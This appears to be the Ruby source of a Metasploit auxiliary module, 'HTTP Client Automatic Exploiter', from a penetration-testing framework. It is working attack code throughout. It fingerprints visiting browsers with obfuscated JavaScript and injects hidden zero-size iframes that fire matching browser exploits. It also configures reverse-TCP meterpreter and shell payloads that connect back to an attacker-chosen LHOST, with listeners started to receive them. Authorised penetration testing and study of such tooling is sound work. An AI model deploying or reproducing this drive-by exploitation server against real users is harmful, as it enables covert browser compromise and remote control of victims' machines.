808 lines
26 KiB
Ruby
808 lines
26 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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# ideas:
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# - add a loading page option so the user can specify arbitrary html to
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# insert all of the evil js and iframes into
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# - caching is busted when different browsers come from the same IP
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# - some kind of version comparison for each browser
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# - is a generic comparison possible?
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# 9.1 < 9.10 < 9.20b < 9.20
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# 3.5-pre < 3.5 < 3.5.1
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require 'msf/core'
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require 'rex/exploitation/javascriptosdetect'
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class Metasploit3 < Msf::Auxiliary
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include Msf::Exploit::Remote::HttpServer::HTML
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'HTTP Client Automatic Exploiter',
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'Version' => '$Revision$',
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'Description' => %q{
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This module uses a combination of client-side and server-side
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techniques to fingerprint HTTP clients and then automatically
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exploit them.
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},
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'Author' =>
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[
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# initial concept, integration and extension of Jerome
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# Athias' os_detect.js
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'egypt',
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],
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'License' => BSD_LICENSE,
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'Actions' =>
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[
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[ 'WebServer', {
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'Description' => 'Start a bunch of modules and direct clients to appropriate exploits'
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} ],
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[ 'DefangedDetection', {
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'Description' => 'Only perform detection, send no exploits'
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} ],
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[ 'list', {
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'Description' => 'List the exploit modules that would be started'
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} ]
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],
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'PassiveActions' =>
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[ 'WebServer', 'DefangedDetection' ],
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'DefaultAction' => 'WebServer'))
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register_options([
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OptAddress.new('LHOST', [true,
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'The IP address to use for reverse-connect payloads'
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]),
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], self.class)
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register_advanced_options([
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OptString.new('MATCH', [false,
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'Only attempt to use exploits whose name matches this regex'
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]),
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OptString.new('EXCLUDE', [false,
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'Only attempt to use exploits whose name DOES NOT match this regex'
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]),
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OptBool.new('DEBUG', [false,
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'Do not obfuscate the javascript and print various bits of useful info to the browser',
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false
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]),
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OptPort.new('LPORT_WIN32', [false,
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'The port to use for Windows reverse-connect payloads, default is 3333'
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]),
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OptPort.new('LPORT_LINUX', [false,
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'The port to use for Linux reverse-connect payloads, default is 4444'
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]),
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OptPort.new('LPORT_MAC', [false,
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'The port to use for Mac reverse-connect payloads, default is 5555'
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]),
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OptPort.new('LPORT_GENERIC', [false,
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'The port to use for generic reverse-connect payloads, default is 6666'
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]),
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], self.class)
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@exploits = Hash.new
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@payloads = Hash.new
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@targetcache = Hash.new
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end
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def run
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if (action.name == 'list')
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m_regex = datastore["MATCH"] ? %r{#{datastore["MATCH"]}} : %r{}
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e_regex = datastore["EXCLUDE"] ? %r{#{datastore["EXCLUDE"]}} : %r{^$}
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framework.exploits.each_module do |name, mod|
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if (mod.respond_to?("autopwn_opts") and name =~ m_regex and name !~ e_regex)
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@exploits[name] = nil
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print_line name
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end
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end
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print_line
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print_status("Found #{@exploits.length} exploit modules")
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elsif (action.name == 'DefangedDetection')
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exploit()
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else
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if (!framework.db.active)
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warn_no_database
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end
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start_exploit_modules()
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if @exploits.length < 1
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print_error("No exploits, check your MATCH and EXCLUDE settings")
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return false
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end
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exploit()
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end
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end
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def setup
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@init_js = ::Rex::Exploitation::ObfuscateJS.new
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@init_js << <<-ENDJS
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#{js_os_detect}
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#{js_base64}
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function make_xhr() {
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var xhr;
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try {
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xhr = new XMLHttpRequest();
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} catch(e) {
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try {
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xhr = new ActiveXObject("Microsoft.XMLHTTP");
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} catch(e) {
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xhr = new ActiveXObject("MSXML2.ServerXMLHTTP");
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}
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}
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if (! xhr) {
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throw "failed to create XMLHttpRequest";
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}
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return xhr;
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}
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function report_and_get_exploits(detected_version) {
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var encoded_detection;
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xhr = make_xhr();
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xhr.onreadystatechange = function () {
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if (xhr.readyState == 4 && (xhr.status == 200 || xhr.status == 304)) {
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eval(xhr.responseText);
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}
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};
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encoded_detection = new String();
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#{js_debug('navigator.userAgent+"<br><br>"')}
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for (var prop in detected_version) {
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#{js_debug('prop + " " + detected_version[prop] +"<br>"')}
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encoded_detection += detected_version[prop] + ":";
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}
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//#{js_debug('encoded_detection + "<br>"')}
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encoded_detection = Base64.encode(encoded_detection);
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xhr.open("GET", document.location + "?sessid=" + encoded_detection);
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xhr.send(null);
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}
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function bodyOnLoad() {
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var detected_version = getVersion();
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//#{js_debug('detected_version')}
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report_and_get_exploits(detected_version);
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} // function bodyOnLoad
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ENDJS
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opts = {
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'Symbols' => {
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'Variables' => [
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'xhr',
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'encoded_detection',
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],
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'Methods' => [
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'report_and_get_exploits',
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'handler',
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'bodyOnLoad',
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]
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},
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'Strings' => true,
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}
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@init_js.update_opts(opts)
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@init_js.update_opts(js_os_detect.opts)
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@init_js.update_opts(js_base64.opts)
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if (datastore['DEBUG'])
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print_status("Adding debug code")
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@init_js << <<-ENDJS
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if (!(typeof(debug) == 'function')) {
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function htmlentities(str) {
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str = str.replace(/>/g, '>');
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str = str.replace(/</g, '<');
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str = str.replace(/&/g, '&');
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return str;
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}
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function debug(msg) {
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document.body.innerHTML += (msg + "<br />\\n");
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}
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}
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ENDJS
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else
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@init_js.obfuscate()
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end
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#@init_js << "window.onload = #{@init_js.sym("bodyOnLoad")};";
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@init_html = "<html > <head > <title > Loading </title>\n"
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@init_html << '<script language="javascript" type="text/javascript">'
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@init_html << "<!-- \n #{@init_js} //-->"
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@init_html << "</script> </head> "
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@init_html << "<body onload=\"#{@init_js.sym("bodyOnLoad")}()\"> "
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@init_html << "<noscript> \n"
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@init_html << build_iframe("#{self.get_resource}?ns=1")
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@init_html << "</noscript> \n"
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@init_html << "</body> </html> "
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#
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# I'm still not sold that this is the best way to do this, but random
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# LPORTs causes confusion when things break and breakage when firewalls
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# are in the way. I think the ideal solution is to have
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# self-identifying payloads so we'd only need 1 LPORT for multiple
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# stagers.
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#
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@win_lport = datastore['LPORT_WIN32'] || 3333
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@lin_lport = datastore['LPORT_LINUX'] || 4444
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@osx_lport = datastore['LPORT_MACOS'] || 5555
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@gen_lport = datastore['LPORT_GENERIC'] || 6666
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minrank = framework.datastore['MinimumRank'] || 'manual'
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if not RankingName.values.include?(minrank)
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print_error("MinimumRank invalid! Possible values are (#{RankingName.sort.map{|r|r[1]}.join("|")})")
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wlog("MinimumRank invalid, ignoring", 'core', LEV_0)
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end
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@minrank = RankingName.invert[minrank]
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end
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def init_exploit(name, mod = nil, targ = 0)
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if mod.nil?
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@exploits[name] = framework.modules.create(name)
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else
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@exploits[name] = mod.new
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end
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apo = @exploits[name].class.autopwn_opts
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if (apo[:rank] < @minrank)
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@exploits.delete(name)
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return false
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end
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case name
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when %r{windows}
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payload='windows/meterpreter/reverse_tcp'
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lport = @win_lport
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#when %r{linux}
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# Some day...
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#payload='linux/meterpreter/reverse_tcp'
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#when %r{osx}
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# Some day...
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#payload='osx/meterpreter/reverse_tcp'
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else
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lport = @gen_lport
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payload='generic/shell_reverse_tcp'
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end
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@payloads[lport] = payload
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print_status("Starting exploit #{name} with payload #{payload}")
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@exploits[name].datastore['SRVHOST'] = datastore['SRVHOST']
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@exploits[name].datastore['SRVPORT'] = datastore['SRVPORT']
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# For testing, set the exploit uri to the name of the exploit so it's
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# easy to tell what is happening from the browser.
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if (datastore['DEBUG'])
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@exploits[name].datastore['URIPATH'] = name
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else
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@exploits[name].datastore['URIPATH'] = nil
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end
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@exploits[name].datastore['LPORT'] = lport
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@exploits[name].datastore['LHOST'] = @lhost
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@exploits[name].datastore['EXITFUNC'] = datastore['EXITFUNC'] || 'thread'
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@exploits[name].datastore['DisablePayloadHandler'] = true
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@exploits[name].exploit_simple(
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'LocalInput' => self.user_input,
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'LocalOutput' => self.user_output,
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'Target' => targ,
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'Payload' => payload,
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'RunAsJob' => true)
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# It takes a little time for the resources to get set up, so sleep for
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# a bit to make sure the exploit is fully working. Without this,
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# mod.get_resource doesn't exist when we need it.
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Rex::ThreadSafe.sleep(0.5)
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# Make sure this exploit got set up correctly, return false if it
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# didn't
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if framework.jobs[@exploits[name].job_id.to_s].nil?
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print_error("Failed to start exploit module #{name}")
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@exploits.delete(name)
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return false
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end
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return true
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end
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def start_exploit_modules()
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@lhost = (datastore['LHOST'] || "0.0.0.0")
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@js_tests = {}
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@noscript_tests = {}
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print_line
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print_status("Starting exploit modules on host #{@lhost}...")
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print_status("---")
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print_line
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m_regex = datastore["MATCH"] ? %r{#{datastore["MATCH"]}} : %r{}
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e_regex = datastore["EXCLUDE"] ? %r{#{datastore["EXCLUDE"]}} : %r{^$}
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framework.exploits.each_module do |name, mod|
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if (mod.respond_to?("autopwn_opts") and name =~ m_regex and name !~ e_regex)
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next if !(init_exploit(name))
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apo = mod.autopwn_opts.dup
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apo[:name] = name.dup
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apo[:vuln_test] ||= ""
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if apo[:classid]
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# Then this is an IE exploit that uses an ActiveX control,
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# build the appropriate tests for it.
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method = apo[:vuln_test].dup
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apo[:vuln_test] = ""
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apo[:ua_name] = HttpClients::IE
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if apo[:classid].kind_of?(Array) # then it's many classids
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apo[:classid].each { |clsid|
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apo[:vuln_test] << "if (testAXO('#{clsid}', '#{method}')) {\n"
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apo[:vuln_test] << " is_vuln = true;\n"
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apo[:vuln_test] << "}\n"
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}
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else
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apo[:vuln_test] << "if (testAXO('#{apo[:classid]}', '#{method}')) {\n"
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apo[:vuln_test] << " is_vuln = true;\n"
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apo[:vuln_test] << "}\n"
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end
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end
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if apo[:ua_minver] and apo[:ua_maxver]
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ver_test =
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"!ua_ver_lt(detected_version.#{@init_js.sym("ua_version")}, '#{apo[:ua_minver]}') && " +
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"!ua_ver_gt(detected_version.#{@init_js.sym("ua_version")}, '#{apo[:ua_maxver]}')"
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elsif apo[:ua_minver]
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ver_test = "!ua_ver_lt(detected_version.#{@init_js.sym("ua_version")}, '#{apo[:ua_minver]}')\n"
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elsif apo[:ua_maxver]
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ver_test = "!ua_ver_gt(detected_version.#{@init_js.sym("ua_version")}, '#{apo[:ua_maxver]}')\n"
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else
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ver_test = "true"
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end
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test = "if (#{ver_test}) { "
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test << (apo[:vuln_test].empty? ? "is_vuln = true;" : apo[:vuln_test])
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test << "} else { is_vuln = false; }\n"
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apo[:vuln_test] = test
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# Now that we've got all of our exploit tests put together,
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# organize them into requires-scripting and
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# doesnt-require-scripting, sorted by browser name.
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if apo[:javascript] && apo[:ua_name]
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if @js_tests[apo[:ua_name]].nil?
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@js_tests[apo[:ua_name]] = []
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end
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@js_tests[apo[:ua_name]].push(apo)
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elsif apo[:javascript]
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if @js_tests["generic"].nil?
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@js_tests["generic"] = []
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end
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@js_tests["generic"].push(apo)
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elsif apo[:ua_name]
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if @noscript_tests[apo[:ua_name]].nil?
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@noscript_tests[apo[:ua_name]] = []
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end
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@noscript_tests[apo[:ua_name]].push(apo)
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else
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if @noscript_tests["generic"].nil?
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@noscript_tests["generic"] = []
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end
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@noscript_tests["generic"].push(apo)
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end
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end
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end
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# start handlers for each type of payload
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[@win_lport, @lin_lport, @osx_lport, @gen_lport].each do |lport|
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if (lport and @payloads[lport])
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print_status("Starting handler for #{@payloads[lport]} on port #{lport}")
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multihandler = framework.modules.create("exploit/multi/handler")
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multihandler.datastore['LPORT'] = lport
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multihandler.datastore['LHOST'] = @lhost
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multihandler.datastore['ExitOnSession'] = false
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multihandler.datastore['EXITFUNC'] = datastore['EXITFUNC'] || 'thread'
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multihandler.exploit_simple(
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'LocalInput' => self.user_input,
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'LocalOutput' => self.user_output,
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'Payload' => @payloads[lport],
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'RunAsJob' => true)
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end
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end
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# let the handlers get set up
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Rex::ThreadSafe.sleep(0.5)
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print_line
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print_status("--- Done, found %bld%grn#{@exploits.length}%clr exploit modules")
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print_line
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require 'pp'
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# Sort the tests by reliability, descending.
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@js_tests.each { |browser,tests|
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tests.sort! {|a,b| b[:rank] <=> a[:rank]}
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}
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@noscript_tests.each { |browser,tests|
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tests.sort! {|a,b| b[:rank] <=> a[:rank]}
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}
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end
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def on_request_uri(cli, request)
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print_status("Request '#{request.uri}' from #{cli.peerhost}:#{cli.peerport}")
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case request.uri
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when self.get_resource
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# This is the first request. Send the javascript fingerprinter and
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# hope it sends us back some data. If it doesn't, javascript is
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# disabled on the client and we will have to do a lot more
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# guessing.
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response = create_response()
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response["Expires"] = "0"
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response["Cache-Control"] = "must-revalidate"
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response.body = @init_html
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cli.send_response(response)
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when %r{^#{self.get_resource}.*sessid=}
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# This is the request for the exploit page when javascript is
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# enabled. Includes the results of the javascript fingerprinting
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# in the "sessid" parameter as a base64 encoded string.
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record_detection(cli, request)
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if (action.name == "DefangedDetection")
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#print_status("")
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response = create_response()
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response["Expires"] = "0"
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response["Cache-Control"] = "must-revalidate"
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response.body = "Please wait"
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else
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print_status("Responding with exploits")
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response = build_script_response(cli, request)
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end
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cli.send_response(response)
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when %r{^#{self.get_resource}.*ns=1}
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# This is the request for the exploit page when javascript is NOT
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# enabled. Since scripting is disabled, fall back to useragent
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# detection, which is kind of a bummer since it's so easy for the
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# ua string to lie. It probably doesn't matter that much because
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# most of our exploits require javascript anyway.
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print_status("Browser has javascript disabled, trying exploits that don't need it")
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record_detection(cli, request)
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response = build_noscript_response(cli, request)
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cli.send_response(response)
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else
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print_status("404ing #{request.uri}")
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send_not_found(cli)
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return false
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end
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end
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def build_noscript_response(cli, request)
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client_info = get_client(:host => cli.peerhost, :ua_string => request['User-Agent'])
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response = create_response()
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response['Expires'] = '0'
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response['Cache-Control'] = 'must-revalidate'
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response.body = "<html > <head > <title > Loading </title> </head> "
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response.body << "<body> "
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|
|
@noscript_tests.each { |browser, sploits|
|
|
next if sploits.length == 0
|
|
# If get_client failed then we have no knowledge of this host,
|
|
# don't assume anything about the browser. If ua_name is nil or
|
|
# generic, these exploits need to be sent regardless of browser.
|
|
# Either way, we need to send these exploits.
|
|
if (client_info.nil? || [nil, browser, "generic"].include?(client_info[:ua_name]))
|
|
if (HttpClients::IE == browser)
|
|
response.body << "<!--[if IE]>\n"
|
|
end
|
|
sploits.map do |s|
|
|
response.body << (s[:prefix_html] || "") + "\n"
|
|
response.body << build_iframe(exploit_resource(s[:name])) + "\n"
|
|
response.body << (s[:postfix_html] || "") + "\n"
|
|
end
|
|
if (HttpClients::IE == browser)
|
|
response.body << "<![endif]-->\n"
|
|
end
|
|
end
|
|
}
|
|
|
|
response.body << "Please wait "
|
|
response.body << "</body> </html> "
|
|
|
|
return response
|
|
end
|
|
|
|
def build_script_response(cli, request)
|
|
response = create_response()
|
|
response['Expires'] = '0'
|
|
response['Cache-Control'] = 'must-revalidate'
|
|
|
|
#print_status("Client info: #{client_info.inspect}")
|
|
host_info = get_host(cli.peerhost)
|
|
client_info = get_client(:host => host_info, :ua_string => request['User-Agent'])
|
|
|
|
js = ::Rex::Exploitation::ObfuscateJS.new
|
|
# If we didn't get a client from the database, then the detection
|
|
# is borked or the db is not connected, so fallback to sending
|
|
# some IE-specific stuff with everything. Do the same if the
|
|
# exploit didn't specify a client. Otherwise, make sure this is
|
|
# IE before sending code for ActiveX checks.
|
|
if (client_info.nil? || [nil, HttpClients::IE].include?(client_info[:ua_name]))
|
|
# If we have a class name (e.g.: "DirectAnimation.PathControl"),
|
|
# use the simple and direct "new ActiveXObject()". If we
|
|
# have a classid instead, first try creating the object
|
|
# with createElement("object"). However, some things
|
|
# don't like being created this way (specifically winzip),
|
|
# so try writing out an object tag as well. One of these
|
|
# two methods should succeed if the object with the given
|
|
# classid can be created.
|
|
js << <<-ENDJS
|
|
function testAXO(axo_name, method) {
|
|
if (axo_name.substring(0,1) == String.fromCharCode(123)) {
|
|
axobj = document.createElement("object");
|
|
axobj.setAttribute("classid", "clsid:" + axo_name);
|
|
axobj.setAttribute("id", axo_name);
|
|
axobj.setAttribute("style", "visibility: hidden");
|
|
axobj.setAttribute("width", "0px");
|
|
axobj.setAttribute("height", "0px");
|
|
document.body.appendChild(axobj);
|
|
if (typeof(axobj[method]) == 'undefined') {
|
|
var attributes = 'id="' + axo_name + '"';
|
|
attributes += ' classid="clsid:' + axo_name + '"';
|
|
attributes += ' style="visibility: hidden"';
|
|
attributes += ' width="0px" height="0px"';
|
|
document.body.innerHTML += "<object " + attributes + "></object>";
|
|
axobj = document.getElementById(axo_name);
|
|
}
|
|
} else {
|
|
try {
|
|
axobj = new ActiveXObject(axo_name);
|
|
} catch(e) {
|
|
axobj = '';
|
|
};
|
|
}
|
|
#{js_debug('axo_name + "." + method + " = " + typeof axobj[method] + "<br/>"')}
|
|
if (typeof(axobj[method]) != 'undefined') {
|
|
return true;
|
|
}
|
|
return false;
|
|
}
|
|
ENDJS
|
|
# End of IE-specific test functions
|
|
end
|
|
# Generic stuff that is needed regardless of what browser was detected.
|
|
js << <<-ENDJS
|
|
var written_iframes = new Array();
|
|
function write_iframe(myframe) {
|
|
var iframe_idx; var mybody;
|
|
for (iframe_idx in written_iframes) {
|
|
if (written_iframes[iframe_idx] == myframe) {
|
|
return;
|
|
}
|
|
}
|
|
written_iframes[written_iframes.length] = myframe;
|
|
str = '';
|
|
str += '<iframe src="' + myframe + '" style="visibility:hidden" height="0" width="0" border="0"></iframe>';
|
|
#{datastore['DEBUG'] ? "str += '<p>' + myframe + '</p>'" : ""};
|
|
document.body.innerHTML += (str);
|
|
}
|
|
var global_exploit_list = [];
|
|
function next_exploit(exploit_idx) {
|
|
if (!global_exploit_list[exploit_idx]) {
|
|
return;
|
|
}
|
|
// Wrap all of the vuln tests in a try-catch block so a
|
|
// single borked test doesn't prevent other exploits
|
|
// from working.
|
|
try {
|
|
var test = global_exploit_list[exploit_idx].test;
|
|
if (!test) {
|
|
test = "true";
|
|
} else {
|
|
test = "try {" + test + "} catch (e) { is_vuln = false; }; is_vuln";
|
|
}
|
|
//alert("next_exploit(" + (exploit_idx).toString() + ") => " +
|
|
// global_exploit_list[exploit_idx].resource + "\\n" +
|
|
// test + " -- " + eval(test)
|
|
//);
|
|
if (eval(test)) {
|
|
write_iframe(global_exploit_list[exploit_idx].resource);
|
|
setTimeout("next_exploit(" + (exploit_idx+1).toString() + ")", 1000);
|
|
} else {
|
|
#{js_debug("'this client does not appear to be vulnerable to ' + global_exploit_list[exploit_idx].resource + '<br>'")}
|
|
next_exploit(exploit_idx+1);
|
|
}
|
|
} catch(e) {
|
|
next_exploit(exploit_idx+1);
|
|
};
|
|
}
|
|
ENDJS
|
|
opts = {
|
|
'Symbols' => {
|
|
'Variables' => [
|
|
'written_iframes',
|
|
'myframe',
|
|
'mybody',
|
|
'iframe_idx',
|
|
'is_vuln',
|
|
'global_exploit_list',
|
|
'exploit_idx',
|
|
],
|
|
'Methods' => [
|
|
'write_iframe',
|
|
'next_exploit',
|
|
]
|
|
},
|
|
'Strings' => true,
|
|
}
|
|
|
|
@js_tests.each { |browser, sploits|
|
|
next if sploits.length == 0
|
|
if (client_info.nil? || [nil, browser, "generic"].include?(client_info[:ua_name]))
|
|
# Make sure the browser names can be used as an identifier in
|
|
# case something wacky happens to them.
|
|
func_name = "exploit#{browser.gsub(/[^a-zA-Z]/, '')}"
|
|
js << "function #{func_name}() { \n"
|
|
sploits.map do |s|
|
|
# get rid of newlines and escape quotes
|
|
test = s[:vuln_test].gsub("\n",'').gsub("'", "\\\\'")
|
|
# shouldn't be any in the resource, but just in case...
|
|
res = exploit_resource(s[:name]).gsub("\n",'').gsub("'", "\\\\'")
|
|
|
|
# Skip exploits that don't match the client's OS.
|
|
if (host_info and host_info[:os_name] and s[:os_name])
|
|
next unless s[:os_name].include?(host_info[:os_name])
|
|
end
|
|
js << " global_exploit_list[global_exploit_list.length] = {\n"
|
|
if test and not test.empty?
|
|
js << " 'test':'#{test}',\n"
|
|
else
|
|
js << " 'test':'is_vuln = true;',\n"
|
|
end
|
|
js << " 'resource':'#{res}'\n"
|
|
js << " };\n"
|
|
end
|
|
js << "};\n" # end function exploit...()
|
|
js << "#{js_debug("'exploit func: #{func_name}()<br>'")}\n"
|
|
js << "#{func_name}();\n" # run that bad boy
|
|
opts['Symbols']['Methods'].push("#{func_name}")
|
|
end
|
|
}
|
|
js << "#{js_debug("'starting exploits<br>'")}\n"
|
|
js << "next_exploit(0);\n"
|
|
|
|
if not datastore['DEBUG']
|
|
js.obfuscate
|
|
end
|
|
response.body = "#{js}"
|
|
|
|
return response
|
|
end
|
|
|
|
# consider abstracting this out to a method (probably
|
|
# with a different name) of Auxiliary::Report or
|
|
# Exploit::Remote::HttpServer
|
|
def record_detection(cli, request)
|
|
os_name = nil
|
|
os_flavor = nil
|
|
os_sp = nil
|
|
os_lang = nil
|
|
arch = nil
|
|
ua_name = nil
|
|
ua_ver = nil
|
|
|
|
data_offset = request.uri.index('sessid=')
|
|
#p request['User-Agent']
|
|
if (data_offset.nil? or -1 == data_offset)
|
|
# then we didn't get a report back from our javascript
|
|
# detection; make a best guess effort from information
|
|
# in the user agent string. The OS detection should be
|
|
# roughly the same as the javascript version on non-IE
|
|
# browsers because it does most everything with
|
|
# navigator.userAgent
|
|
print_status("Recording detection from User-Agent: #{request['User-Agent']}")
|
|
report_user_agent(cli.peerhost, request)
|
|
else
|
|
data_offset += 'sessid='.length
|
|
detected_version = request.uri[data_offset, request.uri.length]
|
|
if (0 < detected_version.length)
|
|
detected_version = Rex::Text.decode_base64(Rex::Text.uri_decode(detected_version))
|
|
print_status("JavaScript Report: #{detected_version}")
|
|
(os_name, os_flavor, os_sp, os_lang, arch, ua_name, ua_ver) = detected_version.split(':')
|
|
host = framework.db.find_or_create_host({
|
|
:host => cli.peerhost,
|
|
:os_name => os_name,
|
|
:os_flavor => os_flavor,
|
|
:os_sp => os_sp,
|
|
:os_lang => os_lang,
|
|
:arch => arch
|
|
})
|
|
report_client({
|
|
:host => host,
|
|
:ua_string => request['User-Agent'],
|
|
:ua_name => ua_name,
|
|
:ua_ver => ua_ver
|
|
})
|
|
report_note({
|
|
:host => host,
|
|
:type => 'http_request',
|
|
:data => "#{@myhost}:#{@myport} #{request.method} #{request.resource} #{os_name} #{ua_name} #{ua_ver}"
|
|
})
|
|
end
|
|
end
|
|
|
|
# If the database is not connected, use a cache instead.
|
|
# This is less reliable because we're not treating different user
|
|
# agents from the same IP as different hosts.
|
|
if (framework.db.active)
|
|
report_client(:host => cli.peerhost, :ua_string => request['User-Agent'])
|
|
else
|
|
warn_no_database
|
|
@targetcache ||= {}
|
|
@targetcache[cli.peerhost] ||= {}
|
|
@targetcache[cli.peerhost][:update] = Time.now.to_i
|
|
|
|
# Clean the cache
|
|
rmq = []
|
|
@targetcache.each_key do |addr|
|
|
if (Time.now.to_i > @targetcache[addr][:update]+60)
|
|
rmq.push addr
|
|
end
|
|
end
|
|
rmq.each {|addr| @targetcache.delete(addr) }
|
|
|
|
# Keep the attributes the same as if it were created in
|
|
# the database.
|
|
@targetcache[cli.peerhost][:update] = Time.now.to_i
|
|
@targetcache[cli.peerhost][:ua_string] = request['User-Agent']
|
|
@targetcache[cli.peerhost][:ua_name] = ua_name
|
|
@targetcache[cli.peerhost][:ua_ver] = ua_ver
|
|
end
|
|
end
|
|
|
|
# Override super#get_client to use a cache in case the database
|
|
# is not available. It might be a good idea to do this by default,
|
|
# essentially creating an in-memory database. The upside is that it works
|
|
# if the database is broken. The downside of course is that querying from
|
|
# a hash is not as simple or efficient as a database.
|
|
def get_client(opts)
|
|
host = opts[:host]
|
|
return super || @targetcache[host]
|
|
end
|
|
|
|
def build_iframe(resource)
|
|
ret = ''
|
|
if (action.name == 'DefangedDetection')
|
|
ret << "<p>iframe #{resource}</p>"
|
|
else
|
|
ret << "<iframe src=\"#{resource}\" style=\"visibility:hidden\" height=\"0\" width=\"0\" border=\"0\"></iframe>"
|
|
#ret << "<iframe src=\"#{resource}\" ></iframe>"
|
|
end
|
|
return ret
|
|
end
|
|
|
|
def exploit_resource(name)
|
|
if (@exploits[name] && @exploits[name].respond_to?("get_resource"))
|
|
#print_line("Returning '#{@exploits[name].get_resource}', for #{name}")
|
|
return @exploits[name].get_resource
|
|
else
|
|
print_error("Don't have an exploit by that name, returning 404#{name}.html")
|
|
return "404#{name}.html"
|
|
end
|
|
end
|
|
|
|
def js_debug(msg)
|
|
if datastore['DEBUG']
|
|
return "document.body.innerHTML += #{msg};"
|
|
end
|
|
return ""
|
|
end
|
|
def warn_no_database
|
|
print_error("WARNING: Database is disabled, using targetcache instead.")
|
|
print_error("Database support makes detection much more reliable against multiple")
|
|
print_error("hosts from the same IP; type 'db_create' to enable it.")
|
|
end
|
|
end
|
|
|